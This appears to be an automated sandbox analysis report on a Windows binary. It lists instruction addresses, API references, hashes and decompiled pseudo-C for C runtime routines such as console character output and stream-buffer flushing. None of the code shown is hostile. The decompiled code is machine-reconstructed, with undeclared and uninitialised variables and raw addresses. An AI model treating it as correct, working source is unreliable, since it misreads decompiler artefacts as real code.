0x00b94e50
0x00b94e53
0x00b94e55
0x00b94f0f
0x00b94f22
0x00b94f27
0x00000000
0x00b94e5b
0x00b94e6e
0x00b94e73
0x00b94e79
0x00b94e7b
0x00b94e84
0x00b94e84
0x00b94e87
0x00b94e93
0x00b94e97
0x00b94e9d
0x00b94e9f
0x00b94ea4
0x00b94ea6
0x00b94eab
0x00b94eb0
0x00b94eb2
0x00b94eb7
0x00b94eba
0x00b94ebd
0x00b94ebf
0x00b94ebf
0x00b94ebd
0x00b94ec0
0x00b94ec0
0x00b94ec7
0x00000000
0x00b94ec9
0x00b94ece
0x00b94eea
0x00b94ef2
0x00b94eff
0x00b94f04
0x00000000
0x00b94f04
0x00b94ec7
0x00000000
0x00b94f2f
0x00b94f2f
0x00b94f36
0x00b94f39
0x00b94f3c
0x00b94f3f
0x00b94f42
0x00b94f45
0x00b94f48
0x00b94f4f
0x00b94f56
0x00000000
0x00000000
0x00b94f62
0x00b94f62
0x00b94f69
0x00b94f75
0x00b94f78
0x00b94f7e
0x00b94f85
0x00000000
0x00000000
0x00b94f87
0x00b94f87
0x00b94f8d
0x00b94f8d
0x00b94f94
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b94fd7
0x00b94fd7
0x00b94fde
0x00b94fe1
0x00b9500b
0x00b9500e
0x00b9500e
0x00b95011
0x00b95018
0x00b95018
0x00b9501c
0x00b94fe3
0x00b94fe3
0x00b94fef
0x00b94ff2
0x00b94ff6
0x00b94ff8
0x00b94ffb
0x00b94ffb
0x00b94ffe
0x00b95004
0x00b95006
0x00b95006
0x00b95009
0x00000000
0x00000000
0x00b95024
0x00b95024
0x00000000
0x00000000
0x00b95030
0x00b95030
0x00b95037
0x00b9503a
0x00b9505a
0x00b9505d
0x00b9505d
0x00b95067
0x00b95067
0x00b9506b
0x00b9503c
0x00b9503c
0x00b95048
0x00b9504b
0x00b9504f
0x00b95051
0x00b95051
0x00b95058
0x00000000
0x00000000
0x00b95073
0x00b95073
0x00b9507a
0x00b95086
0x00b95089
0x00b9508f
0x00b95096
0x00b951a9
0x00000000
0x00b951a9
0x00b9509c
0x00b9509c
0x00b950a2
0x00b950a2
0x00b950a9
0x00000000
0x00b950df
0x00b950df
0x00b950e2
0x00b950e5
0x00b950e8
0x00b95110
0x00b95110
0x00b95113
0x00b95116
0x00b95119
0x00b9513e
0x00b9513e
0x00b95141
0x00b95144
0x00b95147
0x00b95180
0x00b95191
0x00000000
0x00b95191
0x00b95149
0x00b95149
0x00b9514c
0x00b9514f
0x00b95152
0x00000000
0x00000000
0x00b95154
0x00b95154
0x00b95157
0x00b9515a
0x00b9515d
0x00000000
0x00000000
0x00b9515f
0x00b9515f
0x00b95162
0x00b95165
0x00b95168
0x00000000
0x00000000
0x00b9516a
0x00b9516a
0x00b9516d
0x00b95170
0x00b95173
0x00000000
0x00000000
0x00b95175
0x00b95175
0x00b95178
0x00b9517b
0x00b9517e
0x00b95182
0x00000000
0x00b95182
0x00000000
0x00b9517e
0x00b9511b
0x00b9511b
0x00b9511e
0x00b95122
0x00b95125
0x00000000
0x00b95127
0x00b9512a
0x00b9512d
0x00b95130
0x00b95133
0x00b95139
0x00000000
0x00b95139
0x00b95125
0x00b950ea
0x00b950ea
0x00b950ed
0x00b950f1
0x00b950f4
0x00000000
0x00b950f6
0x00b950f9
0x00b950fc
0x00b950ff
0x00b95102
0x00b95108
0x00000000
0x00b95108
0x00000000
0x00b95193
0x00b95196
0x00b95199
0x00000000
0x00000000
0x00b950b0
0x00b950b0
0x00b950b3
0x00b950b6
0x00b950b9
0x00b950d1
0x00b950d4
0x00b950d4
0x00b950d7
0x00b950bb
0x00b950be
0x00b950c1
0x00b950c7
0x00b950cc
0x00b950cc
0x00000000
0x00000000
0x00b9519e
0x00b9519e
0x00b951a1
0x00b951a1
0x00b951a6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b951ae
0x00b951ae
0x00b951b5
0x00b951c1
0x00b951c4
0x00b951ca
0x00b951d1
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00b951d7
0x00b951dd
0x00b951dd
0x00b951e4
0x00000000
0x00b9553e
0x00b9553e
0x00b95545
0x00b9554c
0x00b9554c
0x00b9554f
0x00000000
0x00000000
0x00b951eb
0x00b951ee
0x00b951ee
0x00b951f4
0x00b951f6
0x00b951f9
0x00b951f9
0x00b951fe
0x00b951fe
0x00000000
0x00000000
0x00b9532b
0x00b9532e
0x00b9532e
0x00b95333
0x00b95335
0x00b95338
0x00b95338
0x00b9533e
0x00b9533e
0x00000000
0x00000000
0x00b9570b
0x00b9570b
0x00b95721
0x00b95721
0x00b9572b
0x00b9572b
0x00b95731
0x00b95733
0x00b9573d
0x00b9573d
0x00b95740
0x00b95743
0x00b95743
0x00000000
0x00000000
0x00b95295
0x00b95295
0x00b952a1
0x00b952a7
0x00b952ae
0x00b952bc
0x00b952bc
0x00b952c2
0x00b952c5
0x00b952d1
0x00b95326
0x00000000
0x00b95326
0x00b952b0
0x00b952b0
0x00b952b6
0x00b952ba
0x00b952d6
0x00b952d9
0x00b952d9
0x00b952df
0x00b95307
0x00b9530e
0x00b95314
0x00b95317
0x00b9531a
0x00b95320
0x00b95323
0x00b952e1
0x00b952e1
0x00b952e7
0x00b952ea
0x00b952ed
0x00b952f3
0x00b952f6
0x00b952f9
0x00b952fb
0x00b952fe
0x00b952fe
0x00000000
0x00b952df
0x00000000
0x00000000
0x00b95555
0x00b95558
0x00b9555b
0x00b9555e
0x00b95564
0x00b95567
0x00b9556e
0x00b95572
0x00b9557d
0x00b9557d
0x00b95581
0x00b95598
0x00b95598
0x00b9559f
0x00b955a1
0x00b955a1
0x00b955a8
0x00b955a8
0x00b955af
0x00b955c0
0x00b955cf
0x00b955d2
0x00b955d6
0x00b955ec
0x00b955d8
0x00b955d8
0x00b955db
0x00b955e1
0x00b955e7
0x00b955e7
0x00b955d6
0x00b955f6
0x00b955f9
0x00b955fc
0x00b955ff
0x00b95602
0x00b95605
0x00b9560b
0x00b95611
0x00b95619
0x00b9561a
0x00b9561d
0x00b9561e
0x00b95621
0x00b95622
0x00b95629
0x00b9562a
0x00b9562d
0x00b9562e
0x00b95631
0x00b95632
0x00b95638
0x00b95639
0x00b95647
0x00b95649
0x00b9564f
0x00b9564f
0x00b95655
0x00b95657
0x00b9565b
0x00b9565d
0x00b95665
0x00b95666
0x00b95669
0x00b9566a
0x00b95678
0x00b9567a
0x00b9567a
0x00b9565b
0x00b9567d
0x00b95684
0x00b95687
0x00b9568c
0x00b9568c
0x00b95692
0x00b95694
0x00b9569c
0x00b9569d
0x00b956a0
0x00b956a1
0x00b956b0
0x00b956b2
0x00b956b2
0x00b95692
0x00b956b5
0x00b956b8
0x00b956bb
0x00b956be
0x00b956c3
0x00b956c9
0x00b956cc
0x00b956cf
0x00b956cf
0x00b956d2
0x00b956d2
0x00b956d5
0x00b956e1
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00b959f2
0x00b95583
0x00b95583
0x00b9558a
0x00b9558d
0x00000000
0x00000000
0x00b9558f
0x00b9558f
0x00000000
0x00b9558f
0x00b95574
0x00b95574
0x00000000
0x00000000
0x00b95201
0x00b95204
0x00b95204
0x00b9520a
0x00b95265
0x00b9526d
0x00b95274
0x00b9527a
0x00b95280
0x00b9520c
0x00b9520c
0x00b95216
0x00b9521a
0x00b95222
0x00b95229
0x00b95236
0x00b9523d
0x00b95249
0x00b9524f
0x00b95256
0x00b95258
0x00b95258
0x00b9525f
0x00b95287
0x00b9528d
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00b956e9
0x00b956ec
0x00b956ef
0x00b956f2
0x00b9576a
0x00b9576d
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b95826
0x00b9582a
0x00b95832
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580b
0x00b9580f
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e5
0x00b957f1
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957c9
0x00b957cd
0x00b957d5
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b9579c
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95774
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00000000
0x00b95447
0x00b95447
0x00b95453
0x00b95459
0x00b9545e
0x00b95460
0x00b9550a
0x00b9550d
0x00b9550d
0x00b95510
0x00b95524
0x00b9552a
0x00b95530
0x00b95512
0x00b95512
0x00b9551f
0x00b9551f
0x00b95532
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00b95466
0x00b95466
0x00b95466
0x00b95468
0x00b95476
0x00b9546a
0x00b9546a
0x00b9546a
0x00b95480
0x00b95486
0x00b9548c
0x00b95493
0x00b95495
0x00b9549a
0x00b9549c
0x00b954a1
0x00b954a6
0x00b954a8
0x00b954ad
0x00b954b0
0x00b954b3
0x00b954b5
0x00b954b5
0x00b954b3
0x00b954b6
0x00b954bd
0x00b95505
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b954bf
0x00b954bf
0x00b954c4
0x00b954e0
0x00b954e8
0x00b954f2
0x00b954f5
0x00b954fa
0x00000000
0x00b954fa
0x00000000
0x00b9574c
0x00b9574c
0x00b95756
0x00b95756
0x00b9575c
0x00b9575e
0x00b95761
0x00b95761
0x00b95767
0x00b95767
0x00b9576a
0x00b9576a
0x00b9576d
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b95826
0x00b9582a
0x00b95832
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580b
0x00b9580f
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e5
0x00b957f1
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957c9
0x00b957cd
0x00b957d5
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b9579c
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95774
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00000000
0x00b95846
0x00000000
0x00b95704
0x00b95704
0x00000000
0x00000000
0x00b95341
0x00b95341
0x00b95345
0x00b95353
0x00b95356
0x00b95347
0x00b95347
0x00b95347
0x00b9535c
0x00b95362
0x00b95368
0x00b95374
0x00b9537a
0x00b9537a
0x00b95380
0x00b953e7
0x00b953e7
0x00b953eb
0x00b953ed
0x00b953f3
0x00b953f3
0x00b953f6
0x00b953f9
0x00b953ff
0x00b953ff
0x00b953ff
0x00b9540b
0x00b9540e
0x00b95414
0x00b95416
0x00000000
0x00000000
0x00b95418
0x00b95418
0x00b9541e
0x00b95421
0x00b95423
0x00000000
0x00000000
0x00b95425
0x00b9542b
0x00b9542e
0x00b9542e
0x00b95436
0x00b95436
0x00b9543c
0x00b9543c
0x00b9543f
0x00000000
0x00b95382
0x00b95382
0x00b95382
0x00b95386
0x00b95388
0x00b9538d
0x00b9538d
0x00b95390
0x00b95397
0x00b9539a
0x00b953a0
0x00b953a0
0x00b953a0
0x00b953ac
0x00b953af
0x00b953b5
0x00b953b7
0x00000000
0x00000000
0x00b953b9
0x00b953b9
0x00b953bf
0x00b953c2
0x00b953c4
0x00000000
0x00000000
0x00b953c6
0x00b953cc
0x00b953cf
0x00b953cf
0x00b953d7
0x00b953dd
0x00b953e0
0x00b953e2
0x00b95442
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00000000
0x00b956fb
0x00b956fb
0x00b9576a
0x00b9576a
0x00b9576d
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b95826
0x00b9582a
0x00b95832
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580b
0x00b9580f
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e5
0x00b957f1
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957c9
0x00b957cd
0x00b957d5
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b9579c
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95774
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00000000
0x00b95846
0x00000000
0x00000000
0x00000000
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00000000
0x00b94fb1
0x00b94fb4
0x00b94fb7
0x00000000
0x00000000
0x00b94fbc
0x00b94fbf
0x00b94fc4
0x00000000
0x00000000
0x00b94fa6
0x00b94fa6
0x00b94fa9
0x00b94fac
0x00000000
0x00000000
0x00b94f9b
0x00b94f9e
0x00b94fa1
0x00000000
0x00000000
0x00b94fc9
0x00b94fc9
0x00b94fcc
0x00b94fcc
0x00b94fcf
0x00000000
0x00000000
0x00b94fd2
0x00000000
0x00000000
0x00b94d6e
0x00b94d70
0x00b94d7e
0x00b94d72
0x00b94d72
0x00b94d72
0x00b94d88
0x00b94d8e
0x00b94d9b
0x00b94d9d
0x00b94da2
0x00b94da4
0x00b94da9
0x00b94dae
0x00b94db0
0x00b94db5
0x00b94dbb
0x00b94dbd
0x00b94dbd
0x00b94dbb
0x00b94dbe
0x00b94dc5
0x00000000
0x00b94dc7
0x00b94dcc
0x00b94de8
0x00b94df0
0x00b94dfd
0x00b94e02
0x00b95cc1
0x00b95cce
0x00b95cce
0x00b94dc5
0x00b94d68
0x00b95bfd
0x00b95bfd
0x00b95c04
0x00b95c1b
0x00b95c1b
0x00b95c25
0x00b95c25
0x00b95c2b
0x00b95c31
0x00b95c38
0x00b95c3a
0x00b95c3f
0x00b95c41
0x00b95c46
0x00b95c4b
0x00b95c4d
0x00b95c52
0x00b95c55
0x00b95c58
0x00b95c5a
0x00b95c5a
0x00b95c58
0x00b95c5b
0x00b95c62
0x00b95cad
0x00b95cb6
0x00b95cbb
0x00b95c64
0x00b95c69
0x00b95c85
0x00b95c8d
0x00b95c9a
0x00b95c9f
0x00b95c9f
0x00000000
0x00b95c62
0x00b95c06
0x00b95c06
0x00b95c0d
0x00000000
0x00000000
0x00b95c0f
0x00b95c0f
0x00000000
0x00b95c0f
0x00b959f2
0x00b959c9
0x00b959c9
0x00b959cd
0x00b959da
0x00b959dd
0x00b959e0
0x00b959e3
0x00b959e6
0x00b959e9
0x00b959ec
0x00b959ec
0x00b959ef
0x00000000
0x00b959ef
0x00b959cf
0x00b959cf
0x00b959d2
0x00b959d5
0x00b959d8
0x00000000
0x00000000
0x00000000
0x00b959d8
0x00b95931
0x00b95931
0x00b95934
0x00b95937
0x00b9593e
0x00b95945
0x00b9594d
0x00b95953
0x00b95956
0x00b95959
0x00b95960
0x00b9596c
0x00b95972
0x00b95978
0x00b9597f
0x00b95981
0x00b95987
0x00b95987
0x00b9598d
0x00b9598d
0x00b95993
0x00b95996
0x00b9599c
0x00b959a1
0x00b959a4
0x00b95913
0x00b95913
0x00b95919
0x00b9591c
0x00b9591f
0x00b95921
0x00000000
0x00000000
0x00000000
0x00b95921
0x00b95913
0x00b95853
0x00b95853
0x00b9585a
0x00000000
0x00000000
0x00000000
0x00b95888
0x00b95888
0x00b9588e
0x00b95894
0x00b9589a
0x00000000
0x00b9589a
0x00b9576a
0x00b95721

APIs

_get_int64_arg.LIBCMTD ref: 00B95778
__aullrem.LIBCMT ref: 00B95945
__aulldiv.LIBCMT ref: 00B95967

Strings

9, xrefs: 00B95978
0, xrefs: 00B95733
', xrefs: 00B95717

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 8222d743e6ef668dfe588930abc4629eb3f054d96e191639ff5fe4b14f8e0cf5
Instruction ID: 2267e60ab533a01b323777a049b5ec9a1357bef60c9f4d6556c8174964e2d060
Opcode Fuzzy Hash: 8222d743e6ef668dfe588930abc4629eb3f054d96e191639ff5fe4b14f8e0cf5
Instruction Fuzzy Hash: 9E41CDB1D15A28DFEF26CF98C889BAEB7B5FB44300F2485E8D048A7240D7349A81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B90D50 Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00B90D50(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0xd11338; // 0x8bc2db00
				_v16 = _t12 ^ _t35;
				if( *0xd1219c == 0) {
					L12:
					if( *0xd1219c != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0xd12288 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0xd12288; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0xd12288 == 0xfffffffe) {
						E00B94940();
					}
					if( *0xd12288 != 0xffffffff) {
						_t31 =  *0xd12288; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0xd1219c = 1;
							goto L12;
						} else {
							if( *0xd1219c != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0xd1219c = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E00B805D0(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x00b90d50
0x00b90d58
0x00b90d5f
0x00b90d69
0x00b90dde
0x00b90de5
0x00b90e38
0x00b90e38
0x00b90de7
0x00b90e06
0x00b90e10
0x00b90e31
0x00b90e31
0x00b90e12
0x00b90e20
0x00b90e2f
0x00000000
0x00000000
0x00000000
0x00000000
0x00b90e2f
0x00b90e10
0x00b90d6b
0x00b90d72
0x00b90d74
0x00b90d74
0x00b90d80
0x00b90d9a
0x00b90da9
0x00b90dd4
0x00000000
0x00b90dab
0x00b90db2
0x00b90dcb
0x00b90dbf
0x00b90dbf
0x00000000
0x00b90dd2
0x00b90db2
0x00b90d82
0x00b90d82
0x00b90d82
0x00b90d80
0x00b90e49

APIs

___initconout.LIBCMTD ref: 00B90D74

Part of subcall function 00B94940: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,00B90D79), ref: 00B94959

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 00B90DF9
WideCharToMultiByte.KERNEL32(00000000), ref: 00B90E00
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 00B90E27

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: ba60de798d6f3fed4ac5d7d94c0f988b8dfa8b0abb840396c60de07bf72467e5
Instruction ID: 201bdf6851f2402a60014c1b670da55a6a24c8087dfd6732c02e30f022399905
Opcode Fuzzy Hash: ba60de798d6f3fed4ac5d7d94c0f988b8dfa8b0abb840396c60de07bf72467e5
Instruction Fuzzy Hash: CA216F31610309BFDF20EB98DC85BFA37A4EB14720F5086B8E615D66E0DA709985DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00B97EE3 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00B97EE3() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E00B87870( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L00B7D760();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0xd11c48;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0xd13040 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00B91100(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E00B87870( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E00B7D1A0() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E00B7D1A0() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E00B90410(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00B94510(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x00b97f1d
0x00b97f69
0x00b97f75
0x00b97f84
0x00b97f8a
0x00b97f91
0x00b97f98
0x00b97f9b
0x00b97fa9
0x00b97fe1
0x00b97fed
0x00b980f5
0x00b98105
0x00b9811d
0x00b98120
0x00b98126
0x00b98141
0x00b98128
0x00b98134
0x00b98137
0x00b98137
0x00000000
0x00b98126
0x00b97ffe
0x00b98000
0x00b98005
0x00b98007
0x00b9800c
0x00b98011
0x00b98013
0x00b98018
0x00b9801e
0x00b98020
0x00b98020
0x00b9801e
0x00b9802c
0x00b9803b
0x00b98049
0x00b98050
0x00b98072
0x00b98095
0x00b9807a
0x00b98090
0x00b98090
0x00b9809f
0x00b980a3
0x00b980a6
0x00000000
0x00b980a8
0x00b980ae
0x00b980ba
0x00b980bd
0x00b980c9
0x00000000
0x00000000
0x00b980d7
0x00b980da
0x00000000
0x00b980da
0x00b98052
0x00b98069
0x00b980e1
0x00b980f0
0x00000000
0x00b980f0
0x00b98050
0x00b97fb6
0x00b97fc5
0x00b97fc9
0x00b97fce
0x00b97fd3
0x00000000
0x00000000
0x00000000
0x00b97fd5
0x00b97fd5
0x00b97fd9
0x00b97fde
0x00000000
0x00b97fde
0x00b97f1f
0x00b97f22
0x00b97f32
0x00b97f5c
0x00b97f5f
0x00b98146
0x00b98149
0x00b98149
0x00b97f3d
0x00b97f4b
0x00000000
0x00b97f4b

APIs

__isatty.LIBCMTD ref: 00B97FC9
__getbuf.LIBCMTD ref: 00B97FD9
__write.LIBCMTD ref: 00B98061

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00B9800C
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00B98000

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 859f4e9f9a3d13a185a9e4cfb18a18e2366b49a6882b1e59deb5451dc148fb5f
Instruction ID: 1c57675fee38c062f0fa1b40d0eb7486aa275c34735b99127f27e6162f4f4ae4
